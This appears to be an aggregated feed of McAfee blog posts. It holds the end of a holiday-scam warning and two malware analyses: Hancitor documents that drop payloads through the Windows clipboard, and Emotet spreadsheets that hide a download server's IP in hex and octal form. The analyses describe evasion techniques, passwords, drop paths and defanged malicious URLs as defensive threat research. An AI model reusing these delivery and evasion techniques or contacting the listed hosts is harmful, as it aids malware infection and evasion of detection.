Clicking on this link takes the user to a page that claims it has been protected by a technique to block bots. Persuading you to click on the allow button for enabling popups.

Once you click on the enable button, it then redirects the browser to take up a random survey. In our case, the survey was on household income.

Another such theme that we observed was around the latest Netflix series – Squid games. Although Series 1 has currently been released, the fake email prompts early access to Season 2.

Scammers spend a lot of time and effort tweaking and tuning their schemes to make it fit just right for you. Avoiding a scam is not full proof but being vigilant is key. Don’t get overly keen when you get offers thrown at you this season. Take a step back, relax and think it through, not only should you do your own research, but you should also trust your instincts. Spending a little extra on products or making donations to a reputable and known organization might be worth the peace of mind during the holidays. Help educate your family and contribute by reporting scams.

Happy Holidays!

The post ‘Tis the Season for Scams appeared first on McAfee Blog.

By Sriram P & Lakshya Mathur 

Hancitor, a loader that provides Malware as a Service, has been observed distributing malware such as FickerStealer, Pony, CobaltStrike, Cuba Ransomware, and many more. Recently at McAfee Labs, we observed Hancitor Doc VBA (Visual Basic for Applications) samples dropping the payload using the Windows clipboard through Selection.Copy method. 

This blog focuses on the effectiveness of this newly observed technique and how it adds an extra layer of obfuscation to evade detection. 

Below (Figure 1) is the Geolocation based stats of Hancitor Malicious Doc observed by McAfee since September 2021 

INFECTION CHAIN

1. The victim will receive a Docusign-based phishing email.
2. On clicking on the link (hxxp://mettlybothe.com/8/forum[.]php), a Word Document file is downloaded.
3. On Enabling the macro content in Microsoft Word, the macro drops an embedded OLE, a password-protected macro-infected document file and launches it.
4. This second Document file drops the main Hancitor DLL (Dynamic Link Library) payload.
5. The DLL payload is then executed via rundll32.exe.

TECHNICAL ANALYSIS

Malware authors send the victims a phishing email containing a link as shown in the below screenshot (Figure 3). The usual Docusign theme is used in this recent Hancitor wave. This phishing email contains a link to the original malicious word document. On clicking the link, the Malicious Doc file is downloaded.

Since the macros are disabled by default configuration, malware authors try to lure victims into believing that the file is from legitimate organizations or individuals and will ask victims to enable editing and content to start the execution of macros. The screenshot below (Figure 4) is the lure technique that was observed in this current wave.

As soon as the victim enables editing, malicious macros are executed via the Document_Open function.

There is an OLE object embedded in the Doc file. The screenshot below (Figure 5) highlights the object as an icon.

The loader VBA function, invoked by document_open, calls this random function (Figure 6), which moves the selection cursor to the exact location of the OLE object using the selection methods (.MoveDown, .MoveRight, .MoveTypeBackspace). Using the Selection.Copy method, it will copy the selected OLE object to the clipboard. Once it is copied in the clipboard it will be dropped under %temp% folder.

When an embedded object is being copied to the clipboard, it gets written to the temp directory as a file. This method is used by the malware author to drop a malicious word document instead of explicitly writing the file to disk using macro functions like the classic FileSystemObject.

In this case, the file was saved to the %temp% location with filename name “zoro.kl” as shown in the below screenshot (Fig 8). Fig 7 shows the corresponding procmon log involving the file write event.

Using the CreateObject(“Scripting.FileSystemObject”) method, the malware moves the file to a new location \Appdata\Roaming\Microsoft\Templates and renames it to “zoro.doc”.

This file is then opened with the built-in document method, Documents.open. This moved file, zoro.doc, is password-protected. In this case, the password used was “doyouknowthatthegodsofdeathonlyeatapples?”. We have also seen the usage of passwords like “donttouchme”, etc.

This newly dropped doc is executed using the Documents.Open function (Figure 11).

Zoro.doc uses the same techniques to copy and drop the next payload as we saw earlier. The only difference is that it has a DLL as the embedded OLE object.

It drops the file in the %temp% folder using clipboard with the name “gelforr.dap”. Again, it moves gelforr.dap DLL file to \Appdata\Roaming\Microsoft\Templates (Figure 12).

Finally, after moving DLL to the templates folder, it is executed using Rundll32.exe by another VBA call.

MITRE ATT&CK

IOC (Indicators Of Compromise)

The post HANCITOR DOC drops via CLIPBOARD appeared first on McAfee Blog.

Authored By: Kiran Raj

In a recent campaign of Emotet, McAfee Researchers observed a change in techniques. The Emotet maldoc was using hexadecimal and octal formats to represent IP address which is usually represented by decimal formats. An example of this is shown below:

Hexadecimal format: 0xb907d607

Octal format: 0056.0151.0121.0114

Decimal format: 185.7.214.7

This change in format might evade some AV products relying on command line parameters but McAfee was still able to protect our customers. This blog explains this new technique.

Threat Summary

1. The initial attack vector is a phishing email with a Microsoft Excel attachment. 
2. Upon opening the Excel document and enabling editing, Excel executes a malicious JavaScript from a server via mshta.exe 
3. The malicious JavaScript further invokes PowerShell to download the Emotet payload. 
4. The downloaded Emotet payload will be executed by rundll32.exe and establishes a connection to adversaries’ command-and-control server.

Maldoc Analysis

Below is the image (figure 2) of the initial worksheet opened in excel. We can see some hidden worksheets and a social engineering message asking users to enable content. By enabling content, the user allows the malicious code to run.

On examining the excel spreadsheet further, we can see a few cell addresses added in the Named Manager window. Cells mentioned in the Auto_Open value will be executed automatically resulting in malicious code execution.

Below are the commands used in Hexadecimal and Octal variants of the Maldocs

Execution

On executing the Excel spreadsheet, it invokes mshta to download and run the malicious JavaScript which is within an html file.

The downloaded file fer.html containing the malicious JavaScript is encoded with HTML Guardian to obfuscate the code

The Malicious JavaScript invokes PowerShell to download the Emotet payload from “hxxp://185[.]7[.]214[.]7/fer/fer.png” to the following path “C:\Users\Public\Documents\ssd.dll”.

The downloaded Emotet DLL is loaded by rundll32.exe and connects to its command-and-control server

IOC

MITRE ATT&CK

Conclusion

Office documents have been used as an attack vector for many malware families in recent times. The Threat Actors behind these families are constantly changing their techniques in order to try and evade detection. McAfee Researchers are constantly monitoring the Threat Landscape to identify these changes in techniques to ensure our customers stay protected and can go about their daily lives without having to worry about these threats.

The post Emotet’s Uncommon Approach of Masking IP Addresses appeared first on McAfee Blog.